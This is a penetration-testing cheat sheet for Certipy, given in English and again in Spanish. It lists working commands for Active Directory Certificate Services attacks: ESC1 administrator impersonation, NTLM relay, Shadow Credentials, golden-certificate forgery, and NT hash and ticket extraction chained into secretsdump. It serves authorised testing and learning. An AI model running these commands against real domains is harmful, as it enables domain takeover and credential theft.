Certipy | The Hack Sparrow

Certipy is the go-to tool for enumerating and abusing Active Directory Certificate Services (AD CS) from Linux. It discovers templates and CAs, requests certificates, and turns them into domain authentication (NT hash or Kerberos TGT). It is the practical replacement for Certify + PKINITtools in a single Python binary.

What makes AD CS dangerous is not a single vulnerability but the configuration: a template that lets the requester set the subjectAltName (ESC1) turns any user into a domain admin. Certipy automates the whole flow — find spots the flaw, req issues the certificate impersonating the UPN, and auth redeems it for credentials — which is why understanding the condition behind each ESC matters more than memorizing the commands.

1. Beginner level — enumerate and request certificates

Command	What it does
`certipy find -u user@dom -p pass -dc-ip <ip>`	Enumerate AD CS templates and CAs
`certipy find -u user@dom -p pass -dc-ip <ip> -vulnerable`	Show only what is exploitable
`certipy find -u user@dom -p pass -dc-ip <ip> -stdout`	Print output to screen (no BloodHound)
`certipy find -u user@dom -p pass -dc-ip <ip> -json`	Export the result to JSON
`certipy req -u user@dom -p pass -ca CA -template Tmpl`	Request a certificate
`certipy req -u user@dom -p pass -ca CA -template User -upn administrator`	ESC1: impersonate another user (UPN)
`certipy auth -pfx admin.pfx -dc-ip <ip>`	Authenticate with the .pfx and dump NT hash / TGT
`certipy account read -u user@dom -p pass -user victim`	Read the attributes of an account
`certipy req -u user@dom -H <hash> -ca CA -template T`	Request using the NTLM hash (PtH)
`certipy find -u user@dom -p pass -dc-ip <ip> -text`	Save the report as text
`certipy req -u user@dom -p pass -ca CA -template T -target ca.dom`	Specify the CA host
`certipy auth -pfx user.pfx -username user -domain dom`	Auth by supplying username/domain
`certipy -v`	Show the version
`certipy find -h`	Help for the find subcommand

2. Advanced level — ESC chains, Shadow Creds and relay

Command	What it does
`certipy req -u user@dom -p pass -ca CA -template T -upn administrator -sid <sid>`	ESC1 with SID (2022 patch)
`certipy ca -u user@dom -p pass -ca CA -enable-template T`	ESC7: enable a template
`certipy req -u user@dom -p pass -ca CA -template SubCA -on-behalf-of dom\\user`	ESC3: enrollment agent
`certipy shadow auto -u user@dom -p pass -account victim`	Shadow Credentials (KeyCredentialLink)
`certipy relay -target http://ca.dom/certsrv/`	ESC8: NTLM relay to the CA web endpoint
`certipy auth -pfx admin.pfx -ldap-shell`	Open an LDAP shell with the certificate
`certipy forge -ca-pfx ca.pfx -upn administrator@dom`	Golden Certificate (forge with the CA key)
`certipy account update -u user@dom -p pass -user v -upn administrator`	ESC9/10: change an account's UPN
`certipy req -u user@dom -p pass -ca CA -template T -application-policies 'Client Authentication'`	ESC15: abuse application policies
`certipy auth -pfx admin.pfx -dc-ip <ip> -kirbi`	Save the TGT in .kirbi format
`certipy cert -pfx admin.pfx -nocert -out key.pem`	Extract the private key from the .pfx
`certipy shadow auto -u user@dom -p pass -account dc$ -target dc.dom`	Shadow Creds against a DC
`certipy req -u user@dom -p pass -ca CA -template T -key-size 4096`	Adjust the key size
`KRB5CCNAME=admin.ccache secretsdump.py -k dc.dom`	Chain the TGT with secretsdump

3. Details people miss

Sync your clock with the DC (ntpdate or faketime) before running certipy auth: PKINIT and Kerberos reject tickets with time skew and you will hit KRB_AP_ERR_SKEW errors.
Since the May 2022 patch (KB5014754) the CA requires the SID embedded in the certificate; if ESC1 fails, add -sid with the victim's SID as shown in the first advanced row.
certipy find -vulnerable only flags what Certipy knows how to detect: always review the full report, because misconfigured templates may need manual judgment (enrollment rights, EKUs) that the flag does not surface.
Save the .pfx and protect its key: it is equivalent to the impersonated account's credentials and usually stays valid for the certificate's full lifetime, surviving a password change.
For ESC8 (relay) you must coerce authentication (PetitPotam, PrinterBug) toward your host; the relay alone does not trigger the incoming connection.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.

Certipy es la herramienta de referencia para enumerar y abusar de Active Directory Certificate Services (AD CS) desde Linux. Descubre plantillas y CAs, solicita certificados, y los convierte en autenticación contra el dominio (hash NT o TGT de Kerberos). Es el reemplazo práctico de Certify + PKINITtools en un solo binario de Python.

Lo que hace peligroso a AD CS no es una vulnerabilidad puntual sino la configuración: una plantilla que permita al solicitante fijar el subjectAltName (ESC1) convierte a cualquier usuario en administrador del dominio. Certipy automatiza el flujo completo — find detecta el fallo, req emite el certificado suplantando el UPN, y auth lo canjea por credenciales — por eso entender qué condición habilita cada ESC importa más que memorizar los comandos.

1. Nivel principiante — enumerar y solicitar certificados

Comando	Qué hace
`certipy find -u user@dom -p pass -dc-ip <ip>`	Enumera plantillas y CAs de AD CS
`certipy find -u user@dom -p pass -dc-ip <ip> -vulnerable`	Muestra solo lo explotable
`certipy find -u user@dom -p pass -dc-ip <ip> -stdout`	Salida por pantalla (sin BloodHound)
`certipy find -u user@dom -p pass -dc-ip <ip> -json`	Exporta el resultado a JSON
`certipy req -u user@dom -p pass -ca CA -template Tmpl`	Solicita un certificado
`certipy req -u user@dom -p pass -ca CA -template User -upn administrator`	ESC1: suplanta a otro usuario (UPN)
`certipy auth -pfx admin.pfx -dc-ip <ip>`	Autentica con el .pfx y saca hash NT/TGT
`certipy account read -u user@dom -p pass -user victim`	Lee atributos de una cuenta
`certipy req -u user@dom -H <hash> -ca CA -template T`	Solicita usando hash NTLM (PtH)
`certipy find -u user@dom -p pass -dc-ip <ip> -text`	Guarda el informe en texto
`certipy req -u user@dom -p pass -ca CA -template T -target ca.dom`	Especifica el host de la CA
`certipy auth -pfx user.pfx -username user -domain dom`	Auth indicando usuario/dominio
`certipy -v`	Muestra la versión
`certipy find -h`	Ayuda del subcomando find

2. Nivel avanzado — cadenas ESC, Shadow Creds y relay

Comando	Qué hace
`certipy req -u user@dom -p pass -ca CA -template T -upn administrator -sid <sid>`	ESC1 con SID (parche 2022)
`certipy ca -u user@dom -p pass -ca CA -enable-template T`	ESC7: habilita una plantilla
`certipy req -u user@dom -p pass -ca CA -template SubCA -on-behalf-of dom\\user`	ESC3: agente de inscripción
`certipy shadow auto -u user@dom -p pass -account victim`	Shadow Credentials (KeyCredentialLink)
`certipy relay -target http://ca.dom/certsrv/`	ESC8: NTLM relay al endpoint web de la CA
`certipy auth -pfx admin.pfx -ldap-shell`	Abre una LDAP shell con el certificado
`certipy forge -ca-pfx ca.pfx -upn administrator@dom`	Golden Certificate (forja con la clave de la CA)
`certipy account update -u user@dom -p pass -user v -upn administrator`	ESC9/10: cambia el UPN de una cuenta
`certipy req -u user@dom -p pass -ca CA -template T -application-policies 'Client Authentication'`	ESC15: abusa de políticas de aplicación
`certipy auth -pfx admin.pfx -dc-ip <ip> -kirbi`	Guarda el TGT en formato .kirbi
`certipy cert -pfx admin.pfx -nocert -out key.pem`	Extrae la clave privada del .pfx
`certipy shadow auto -u user@dom -p pass -account dc$ -target dc.dom`	Shadow Creds contra un DC
`certipy req -u user@dom -p pass -ca CA -template T -key-size 4096`	Ajusta el tamaño de clave
`KRB5CCNAME=admin.ccache secretsdump.py -k dc.dom`	Encadena TGT con secretsdump

3. Detalles que se pasan por alto

Sincroniza el reloj con el DC (ntpdate o faketime) antes de usar certipy auth: PKINIT y Kerberos rechazan tickets con desfase horario y verás errores KRB_AP_ERR_SKEW.
Desde el parche de mayo de 2022 (KB5014754) la CA exige el SID incrustado en el certificado; si ESC1 falla, añade -sid con el SID de la víctima como en la primera fila avanzada.
certipy find -vulnerable solo marca lo que Certipy sabe detectar: revisa siempre el informe completo, porque plantillas mal configuradas pueden requerir criterio manual (permisos de inscripción, EKUs) que el flag no resalta.
Guarda el .pfx y protege su clave: equivale a las credenciales de la cuenta suplantada y suele ser válido durante toda la vigencia del certificado, no caduca con un cambio de contraseña.
Para ESC8 (relay) necesitas coaccionar autenticación (PetitPotam, PrinterBug) hacia tu host; el relay por sí solo no dispara la conexión entrante.

Uso responsable

Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.